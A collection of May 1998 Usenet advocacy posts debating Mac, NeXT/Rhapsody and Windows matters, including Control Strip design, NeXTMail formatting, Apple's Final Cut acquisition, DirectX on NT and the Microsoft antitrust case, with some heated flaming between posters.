References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net> <35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com> <3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com> <35499A6E.DA61E13@nstar.net>
On Fri, 01 May 1998 04:48:30 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>Salvatore Denaro wrote:
>> They are *NOT* meaningless to people who know how to use them.
>Which would, of course, be Salvatore Denaro!
And everyone else on the newsgroup with one exception.
>Rate of change is another description of yet the same thing we've been
>talking about. Do you think that by changing the phraseology you'll snow
Others have answered this and have shown why rate of change is useful.
>Is this what you propose? This is meaningful statistical measurement: to
>measure derivates (let's call it "acceleration" in this paragraph) on
>the basis of TWO absolute data?
Good job shifting the discusion from the validity of the measurement to
the validity of the whole survey.
>> Please list them.
>I think I've been generous so far. Don't be a glutton for punishment.
I think you've been shown to be wrong.
>> Have you ever read a finacial report?
>Yes.
And you can't see why rate of change is a useful stat in determining
the growth potential of a company?
>> >[laugh]
>> They are laughing at you, not with you.
>Who is "they"?
The folks reading this thread.
<<MJP ranting removed>>
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 5 May 1998 05:24:07 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6kt8jn.b98.sal@panix3.panix.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <1d76snt.17ecjre1ykt2xdN@ppgutkneco.lirmm.fr> <1998040920073876968@dialup-202.def.oleane.com> <6hhht9$57p$15@ironhorse.plsys.co.uk> <*johnnyc*-0405981130590001@jchristie.halifaxcable.dal.ca> <6il7fp$smu$1@news.digifix.com> <slrn6kt2jt.5jg.sal@panix3.panix.com> <6im1h4$87v$1@news.digifix.com>
On 5 May 1998 03:37:08 GMT, Scott Anguish <sanguish@digifix.com> wrote:
>On 05/04/98, Salvatore Denaro wrote:
>>On 4 May 1998 20:12:41 GMT, Scott Anguish <sanguish@digifix.com>
>wrote:
>>>. and as
>>>far as ControlStrip goes... should you really have to access that
>that
>>>often? Nope..
>>
>>How else am I going to disable sound or lower the CD volume when I
>get a
>>phone call?
>
> Something like this is much better accomplished using a
>mechanism like NeXT used to have.. volume keys on the keyboard..
>maybe make use of those function keys..
Last time I checked, NeXT and Sun hardware are the only ones with sound
control on the keyboard. I don't mind turning cmd-alt-+ and cmd-alt-- into
the volume control, but why not offer an on screen "warm and fuzzy" control
strip for those who don't like to memorize key commands? Maybe it would
work as part of the dock/tray/shelf...
And it isn't like you *have* to run it. You can remove it from your
startup if you don't like/want it.
> Or a service that allows you to Mute the sound by a command
>key combination..
And if you have a panel that is a front end to this service, haven't you
just re-invented the control strip?
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: The killer app....
Date: 5 May 1998 04:00:34 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd77da$5bccdb90$04387880@test1>
References: <6ilrs8$27f$1@ha2.rdc1.nj.home.com>
> Well, looks like Apple has bought Final Cut from Macromedia. I imagine
we
Couple of FYI points,
So far, I have not been able to read any firm comments that it was actually
"Final Cut" which was purchased. Press releases only say "technology" from
Macromedia.
For those interested in finding some information on Final Cut, a screen
shot and article can be found at the following links:
http://www.zdnet.com/macweek/mw_1112/macromedia.jpg
http://www.zdnet.com/macweek/mw_1112/ga_macromedia.html
For information on Avid Cinema, which Apple is shipping in some systems
(e.g., AIO), and which I suspect will be the low-end content creation
solution, see
http://product.info.apple.com/productinfo/datasheets/dt/avidcinema.html
For information on QuickTime Pro, see
http://www.apple.com/quicktime/upgrade/index.html
http://www.apple.com/quicktime/authors/index.html
For those interested in being the next James Cameron or George Lucas, you
might want to visit TheForce.net to be inspired
http://www.theforce.net/troops/
Todd
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 4 May 1998 13:24:48 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6iktl0$98e$1@crib.bevc.blacksburg.va.us>
References: <6icrin$6ra@newsb.netnews.att.com> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net>
In article <6ijusb$kos$2@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <6ijcbt$d0u$1@news.cmc.net> Leon von Stauber claimed:
> > Quoting, as you allude to below, is part of the EnhanceMail bundle. As is
> > .sig addition, which is frustratingly not included in the basic Mail.app.
> Both however are still not terribly powerful compared to those available in
> almost all other apps. For instance, there's still no "paste as quote" or
> similar.
I don't really think there should be, either. I think it's better to
be modular and have a "quote selected text" TickleService or something.
(Then you could do the same thing in any app.) But I suppose an argument
could be made for convenience if you do that a lot. I personally don't;
when I paste something in from an external source, it's not appropriate
to use quotes on it since those are intended to quote text being responded
to, so I indent it instead (using a TickleService).
> > I hear that POP3 (and maybe IMAP4?) is part of Rhapsody's MailViewer.
> If based on the same interface though, this strikes me as little gain.
> What's worse is that all other mail apps on OpenStep, like PopOver and
> Eloquent built powerful new features but based it on the same outdated
> interface.
Yeah, we've heard it all before. People's opinions on interfaces differ
you know. And I for one am not particularly interested in a Grand
Unified Mailreader, though the ability to handle different mail sources
in a graceful manner is desirable. I personally think that MailViewer
is kind of primitive, but the interface is not "outdated". It's just
different from what you like.
What's _your_ idea of a super-modern k00l mail interface?
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 04 May 1998 22:20:49 -0700
Message-ID: <see-below-0405982220490001@209.24.241.137>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <354e2990.0@news.primary.net>
Of course it will hurt Micr...er, the computer industry (Microsoft _is_
the computer industry, right?) They're counting on millions of brainless
lemmings each spending $100-200 on a worthless repackaging of an existing
product they already own, one that should be free in the first place. Oh,
it's an upgrade, huh? Fixes problems with Windows 95? Gee, isn't that what
they promised their customers they were shipping 3 years ago? So why do
their customers have to use buggy crap for 3 years, then pay again for the
product they thought they were getting in the first place?
It will save the business world billions of dollars if Microsoft _doesn't_
ship Windows98. The only ones who will be hurt by a delay are Microsoft
and their closest cronies.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: The killer app....
Newsgroups: comp.sys.next.advocacy
References: <6ilrs8$27f$1@ha2.rdc1.nj.home.com> <01bd77da$5bccdb90$04387880@test1>
Message-ID: <354eab88.0@news.depaul.edu>
Date: 5 May 98 06:02:48 GMT
Todd Heberlein <todd@NetSQ.com> wrote:
> > Well, looks like Apple has bought Final Cut from Macromedia. I imagine
> we
> Couple of FYI points,
> So far, I have not been able to read any firm comments that it was actually
> "Final Cut" which was purchased. Press releases only say "technology" from
> Macromedia.
Well...
FinalCut is Quicktime-related. Mac the Knife has been saying that
Macromedia's been shopping it around.
Why are they calling it 'technology'? Well, they could just be
acting coy until 5/6 or 5/11.
Or, saying they bought 'FinalCut' might carry more meaning than
they want. Perhaps they intend to peel the MacOS code away from
the functional core, then rewrap that core in YellowBox code. In
that case, what they'd be buying could accurately be called
'technology'. The end product might be pretty different from
what is known today as 'Final Cut', but offer the same features.
- Jon
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May4114319@slave.doubleu.com>
References: <35458606.0@news.depaul.edu>
<jayfar-2804981604340001@chestnut1-38.slip.netaxs.com>
<35469184.2000@nospam.ultranet.ca> <354751A8.257EE67@nstar.net>
<6iadp1$rm3@newsb.netnews.att.com> <6ia0ii$nup$2@ns3.vrx.net>
<anewmanagn-0305981803270001@a3p15.ideasign.com>
In-reply-to: anewmanagn@ideasign.com's message of Sun, 03 May 1998 18:03:26 -0500
Date: 5 May 1998 02:07:36 -0500
In article <anewmanagn-0305981803270001@a3p15.ideasign.com>,
anewmanagn@ideasign.com (Allen Newman) writes:
Usefulness is more complicated that how many megaHertz and
megabytes you can squeeze into a $499, $699 or $999 box. From my
point a view, a "real" computer system still costs $2000-$3000,
same as a decade ago. I get more for the money now, but my
computer needs and wants have definitely kept up with inflation.
Decent post, my only quibble being ... a decade ago, a "real" computer
cost $5k when heavily discounted. From my point of view, the drive
towards cheap commodity machines has resulted in a relentless drop of
prices for reasonably powerful machines, so that now I can by a "real"
computer for $2500 with monitor. As I see it, there's a huge market
of people purchasing crappy computers in order to enable me to float
at the top end of the bottom end skimming off the cream.
I also look at things like DSL as the same general scenario. While
most "consumers" are sucking video-on-demand and playing Quake IV
through their fat pipes, I'll be doing the same old Internet thing
with no waiting for the connection, and my network connection costs
will have fallen from a couple thousand dollars per year to a couple
hundred dollars per year.
I can live with that. The unfortunate problem, though, is that while
the Mac is legitimately staking out the medium-to-high-end consumer
market, the drive to lower costs in the PC market will result in more
capable PCs dropping below the Macs in price. That's why I think
Rhapsody on Intel (and perhaps BlueBox on Rhapsody on Intel) has to
happen, and happen big. There's no reason Apple shouldn't ride the
trends rather than bucking them.
[Making a new type of computer totally different from the rest is
"innovative". Building an expensive machine that does no more than
the cheap machines and isn't much easier to use is "bucking the
trend". "Innovative" is making new markets, "bucking the trend" is
defining the market you have as viable. You don't have to advertise
the fact that you're in a viable market.]
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: 1 May 98 12:10:00
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May1121000@slave.doubleu.com>
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net>
<6i0vid$ncp$1@garnet.nbnet.nb.ca>
<casper-2704980603550001@wheat-d-08.monroeville.nb.net>
<3544a8d5.0@news.together.net> <slrn6khu6i.22m.jason@jhste1.dyn.ml.org>
<cirby-0105981005450001@pm61-32.magicnet.net>
In-reply-to: cirby@magicnet.net's message of 1 May 1998 14:06:02 GMT
In article <cirby-0105981005450001@pm61-32.magicnet.net>,
cirby@magicnet.net (Chad Irby) writes:
jason@jhste1.dyn.ml.org (Jason S.) wrote about dial-up networking:
> I can do it with zero mouse clicks on a new install of Mklinux or
> Linux/PowerPC!
>
> Beat that, Mac/95/NT droids!
"Zero mouse clicks" as in "typing like mad for several minutes?"
Yeah, big time saver there.
With any modern Linux distribution (I presume we're talking modern
MacOS and Windows distributions), then it is _exactly_ "typing like
mad for several minutes" just as on MacOS and Windows you're "mouse
clicking like mad for several minutes".
And yes, I've installed all of them,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 5 May 1998 00:29:54 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6im4k2$9vj$1@crib.bevc.blacksburg.va.us>
References: <6il7fp$smu$1@news.digifix.com> <B173DA2F-4EC79@207.217.155.139>
In article <B173DA2F-4EC79@207.217.155.139>, "Brad Hutchings" <brad@hutchings-software.com> wrote:
> Get used to the control strip. Because if Rhapsody ever goes mainstream, it
> will have a control strip, along with all the other HI bells and whistles
> Mac users expect. And they'll be just like the Mac HI that so many NeXT
> refugees seem to despise. Otherwise Mac users won't bother with it.
> ROTFLMAO.
It's people like you that make me think about switching to an OS with a
friendlier community of users. Nice, "ha ha, in your face, good to watch
you suffer you NeXT `refugees'" attitude. I wonder which company it
was that provided the OS solution that Apple couldn't produce on its own..
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 5 May 1998 06:18:11 GMT
Organization: Digital Fix Development
Message-ID: <6imav3$bf3$1@news.digifix.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <1d76snt.17ecjre1ykt2xdN@ppgutkneco.lirmm.fr> <1998040920073876968@dialup-202.def.oleane.com> <6hhht9$57p$15@ironhorse.plsys.co.uk> <*johnnyc*-0405981130590001@jchristie.halifaxcable.dal.ca> <6il7fp$smu$1@news.digifix.com> <slrn6kt2jt.5jg.sal@panix3.panix.com> <6im1h4$87v$1@news.digifix.com> <slrn6kt8jn.b98.sal@panix3.panix.com>
In-Reply-To: <slrn6kt8jn.b98.sal@panix3.panix.com>
On 05/04/98, Salvatore Denaro wrote:
<snip>
>
>> Or a service that allows you to Mute the sound by a command
>>key combination..
>
>And if you have a panel that is a front end to this service, haven't
you
>just re-invented the control strip?
>
No.. Control Strip is an alternative method of accessing
Control Panel functionality right?
Adding a front end to it isn't the same as re-inventing the
control strip... its more the equivalent of a Control Panel.. (which
already exists in the form of Preferences.app)
BTW.. I have an Apple keyboard here with volume keys on it.. so it
isn't just NeXT and Sun.. :-)
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 5 May 1998 06:21:56 GMT
Organization: Digital Fix Development
Message-ID: <6imb64$bj7$1@news.digifix.com>
References: <6il7fp$smu$1@news.digifix.com> <B173DA2F-4EC79@207.217.155.139>
In-Reply-To: <B173DA2F-4EC79@207.217.155.139>
On 05/04/98, "Brad Hutchings" wrote:
>Scott Anguish wrote:
>
>> Oh, BTW.. we have SuperClock too... well, MenuClock... and as
>>far as ControlStrip goes... should you really have to access that
that
>>often? Nope..
>
>Get used to the control strip. Because if Rhapsody ever goes
mainstream, it
>will have a control strip, along with all the other HI bells and
whistles
>Mac users expect. And they'll be just like the Mac HI that so many
NeXT
>refugees seem to despise. Otherwise Mac users won't bother with it.
>ROTFLMAO.
>
Do you HAVE to be such an a-hole about everything Brad?
There are literally MILLIONS of users out there that aren't
Mac users that need to be drawn in.. And the old Mac UI isn't
necessarily the way to do it.
Control Strip is a horrible little UI tack-on... as is
WindowShade, MenuClock, Tabbed Windows and other items that aren't
cohesive parts of the User Experience..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
Subject: Re: Windoze Sux: DirectX vs NT50
From: "Robert A. Decker" <comrade@umich.edu>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
nntp://news.itd.umich.edu/comp.unix.advocacy,
nntp://news.itd.umich.edu/comp.sys.amiga.advocacy,
nntp://news.itd.umich.edu/comp.os.os2.advocacy,
nntp://news.itd.umich.edu/comp.os.linux.advocacy
References: <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com>
MIME-Version: 1.0
Message-ID: <B1741506-62A7C3@141.214.128.36>
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Date: Tue, 05 May 1998 04:56:02 GMT
NNTP-Posting-Date: Tue, 05 May 1998 00:56:02 EDT
Maybe you should think about investing your money in a Nintendo instead
of a computer...
rob
--
<mailto: "Robert A. Decker" comrade@umich.edu>
<http://hmrl.cancer.med.umich.edu/Rob/index.ssi>
Programmer Analyst - Health Media Research Lab
University of Michigan Comprehensive Cancer Center
"Get A Life" quote #15: "I feel like Cinderella in more ways than I care to
go into."
-Chris Elliott
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May1181406@slave.doubleu.com>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6idbp7$qq1$1@cronkite.cygnus.com> <354A3B5A.66C5@CONVEX.COM>
<6idfff$qq1$3@cronkite.cygnus.com>
In-reply-to: jrudd@cygnus.com's message of 1 May 1998 21:39:59 GMT
Date: 5 May 1998 02:07:36 -0500
In article <6idfff$qq1$3@cronkite.cygnus.com>,
jrudd@cygnus.com (John Rudd) writes:
In <354A3B5A.66C5@CONVEX.COM> Michael Peck wrote:
> Then I apologize; I had assumed, as I said in my original
> message, that "NeXTMail okay" indicated a possible
> incompatibility between NeXT mail systems and MIME-compliant
> ones. If I was mistaken, I withdraw my remarks. If I was not,
> perhaps someone can explain the nature of the incompatibility.
There used to be a problem among Next newbies that they would send
NeXTMail formatted messages. NeXTMail's own multi-media format
(which predates Mime, I think.. or at least before Mime was widely
accepted) is basically a uuencoded tar file of an rtf (file or
directory). However, at that time there wasn't a good way to send
attachments that most people would be able to recieve. It became a
habbit among next users to identify themselves as being able to
recieve such mail in their .sig's.
Boom! This is almost _exactly_ equivalent to this thing where people
send hairy HTML marked up email messages that are impossible to read
except in specific readers, and when you get there you find that it
all was because they wanted to boldface "Hi, Bob!".
It's one of those things where you're damned if you do, damned if you
don't. You don't want to make it hard to markup text, say by having
to click a button before doing so. On the other hand, you don't want
to make it too easy to send out emails that others can't possibly
read.
There are some people out there that still send things NeXT mail as
their default... so there are still people that indentify
themselves as being able to recieve it. And, there's probably some
amount of pride to it as well :-)
(I don't mention it in mine more because I prefer to show that my
choice of OS's is entirely transparent to other users -- Openstep
plays well in an open world).
I read almost all my email using NeXT mail - and I try to discourage
people from sending me NeXTmail, HTML mail, or MIME mail unless
there's an actual reason. I've set up my environment such that _I_
can quickly read incoming ASCII email. If you insist on throwing
fonts and the like in my way, then you can expect me to spend _less_
time on your email.
Not that I think anyone else should be that way - I just wanted to
point out that there are all kinds. "NeXTmail appreciated" in a .sig
doesn't mean much more than a geek code does :-),
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 5 May 1998 02:25:11 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6imcmk$oj1$3@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net>
DC, would a company like CompUSA, which has spent x Million dollars getting
their advertising and promotions ready for the Win98 launch would be hurt if
that launch were delayed a year or two?
Would the vendors of USB peripherals be hurt if there is no mainstream
operating system that supports USB?
Would companies which have been testing their products against Windows 98 be
concerned if Windows 98 didn't ship?
Would consumers who want to upgrade their existing systems by adding large
hard disks be impacted by the lack of FAT32 support in Win95-retail?
Don't be fooled. If DOJ and the State Extortionists General have their way,
Microsoft won't be the only one to be hurt by this.
To broaden the point, I was extremely disturbed when the States got together
and did the Tobacco Settlement. I was unable to think of a precedent for the
States getting together and strong-arming national and international
companies. Since it hadn't happened before, I had no reason to believe it
would work out well this time. Further, I couldn't think that the
Constitution provided appropriate checks and balances against actions such
as this.
I did not foresee that the States would then turn around and use this new
power of theirs again so soon. I certainly didn't foresee their going after
Microsoft.
I am not able to foresee a limit to the use of this power. There are fifty
states to choose from if you want to pick a team to go bully some company or
person you don't like. This tool is more than sufficiently powerful to turn
against the user. I do not think this is a good thing.
Sincerely,
John Saunders
jws@jws.ultranet.com
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 4 May 98 20:48:25 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B173DA2F-4EC79@207.217.155.139>
References: <6il7fp$smu$1@news.digifix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.earthlink.net/comp.sys.next.advocacy
Scott Anguish wrote:
> Oh, BTW.. we have SuperClock too... well, MenuClock... and as
>far as ControlStrip goes... should you really have to access that that
>often? Nope..
Get used to the control strip. Because if Rhapsody ever goes mainstream, it
will have a control strip, along with all the other HI bells and whistles
Mac users expect. And they'll be just like the Mac HI that so many NeXT
refugees seem to despise. Otherwise Mac users won't bother with it.
ROTFLMAO.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
Subject: Re: The killer app....
From: "Robert A. Decker" <comrade@umich.edu>
Newsgroups: comp.sys.next.advocacy
References: <6ilrs8$27f$1@ha2.rdc1.nj.home.com>
MIME-Version: 1.0
Message-ID: <B1741729-63284F@141.214.128.36>
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Date: Tue, 05 May 1998 05:05:09 GMT
NNTP-Posting-Date: Tue, 05 May 1998 01:05:09 EDT
Do you know if they're getting the programmer that goes with it? (forgot
his name, but he also wrote Adobe Premiere).
rob
--
<mailto: "Robert A. Decker" comrade@umich.edu>
<http://hmrl.cancer.med.umich.edu/Rob/index.ssi>
Programmer Analyst - Health Media Research Lab
University of Michigan Comprehensive Cancer Center
"Get A Life" quote #15: "I feel like Cinderella in more ways than I care to
go into."
-Chris Elliott
From: Rolf Magnus <ramagnus@zvw._REMOVE_THIS_de>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Tue, 05 May 1998 10:20:14 -0700
Organization: Robert Bosch GmbH, Reutlingen, Germany
Message-ID: <354F4A4E.2063@zvw._REMOVE_THIS_de>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <354E261B.A1D@CONVEX.COM>
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Michael Peck wrote:
> I'm willing to bet most people can guess my attitude toward this, so
I
> won't directly comment. But I wanted to note that a surprising number
of
> games *do* run on Windows NT 4.0, and in fact, with Service Pack 3
> (which supports many features of DirectX 5), I've found that the
number
> of games supported on NT is actually *rising*. That's probably an
> artifact of my choice of games, but I thought it should be said.
What about my Voodoo in direct3d? I play mainly 3d games that use
hardware
accelleration.
From: Rolf Magnus <ramagnus@zvw._REMOVE_THIS_de>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Tue, 05 May 1998 10:28:48 -0700
Organization: Robert Bosch GmbH, Reutlingen, Germany
Message-ID: <354F4C4F.3C93@zvw._REMOVE_THIS_de>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com>
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Pinochet wrote:
>
> X-No-Archive: Yes
> darknerd@shell4.ba.best.com wrote in message ...
> >This is not really an attack to the actual technical merit of any
given
> >operating system, but rather an attack on Micro$oft's business
practices
> >screws up customers.
>
> Then why poost it to so many NG's?
>
> >My argument is that Micro$oft is forcing users and developers to use
> >DOS-booting Windows '95 instead of the more stable WindowsNT.
>
> Well, actually MS is trying to encourage the switch to NT, and
DirectX6
> will be on NT5 first, so I think you're a little behind the times.
That makes it even worse. That means that by now, Microsoft is forcing
us to use win95 since directx 5 will not come out for NT4. Then, as
win98
is out, we have to buy it also. And when then NT comes out with directx
6
we also have to buy it. So Microsoft is forcing the users that want to
play games to buy 95, 98 AND NT5. And what about directx 7 ? Maybe it
will
only be available for windows 00 (Big problem with y2k)?
> >They should give _all_ WindowsNT 4.0 end users a free upgrade to resolve
> >the matter.
>
> No. What MS should do is release another Service Pack with support for
> later versions of DirectX. They did this with SP3, and DX3, or didn't you
> know?
Don't you see that they will not do this because they want you to buy
the next
version of NT? Now, since Microsoft popularity is going down more and
more,
they have to force the users to buy them.
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 05 May 1998 02:40:21 -0600
Organization: Stone Entertainment
Message-ID: <stone-ya02408000R0505980240210001@news.enetis.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net>
Mime-Version: 1.0
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In article <6imcmk$oj1$3@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
(snip)
> I am not able to foresee a limit to the use of this power. There are fifty
> states to choose from if you want to pick a team to go bully some company or
> person you don't like. This tool is more than sufficiently powerful to turn
> against the user. I do not think this is a good thing.
> Sincerely,
> John Saunders
> jws@jws.ultranet.com
Well there's two extremes to every issue. I'm with you all the way on
issues like the tobbaco industry, and the exorbanant use of power by the US
government and the states. Occasionaly when these things get started, it's
like a frieght train out of control. There's too much mass (mass product
in this case) in motion to keep it from stopping, and companies with stake
in that product will inevitably be injured to one degree or another. So I
agree with you on the grounds that it's extremely important to keep in mind
that the DOJ's injunction against Microsoft, and pending injunctions by
State governments, are not fair for everyone else involved. Unfortunately,
the only other way to resolve this conflict, which was to remove the
Internet Explorer application from the operating system, was killed by
Microsoft themselves when they claimed that it was impossible. No
programmer I've talked with on the subject believes that it's impossible...
difficult possably... time consuming definitely... impossible not a chance.
It's important to be perfectly clear on how this whole issue got started in
he first place. It wasn't ONE incident, it wasn't ONE crime, it wasn't ONE
allegation... it was dozens of instances where Microsoft broke the laws
that the United States of America congress have tediously worked out over
the years to stop large corporations from doing exactly what Microsoft is
allegedly doing. Anti-trust and Anti-competition activities can destroy a
free market as quickly as government repression. I don't want to see other
companies to get shaft just becuase Microsoft won't play ball and the DOJ's
got their biggest baddest batter at the plate ready to take a swing with
the State's cheering him on. But there is plenty of blame to spread
around.
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: trev@sc.edu (Trevor Zion Bauknight)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 05 May 1998 01:08:46 -0400
Organization: Metaphysical Bunko Squad
Message-ID: <trev-0505980108470001@nas-sa-p6.usc.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <1d76snt.17ecjre1ykt2xdN@ppgutkneco.lirmm.fr> <1998040920073876968@dialup-202.def.oleane.com> <6hhht9$57p$15@ironhorse.plsys.co.uk> <*johnnyc*-0405981130590001@jchristie.halifaxcable.dal.ca> <6il7fp$smu$1@news.digifix.com> <slrn6kt2jt.5jg.sal@panix3.panix.com> <6im1h4$87v$1@news.digifix.com>
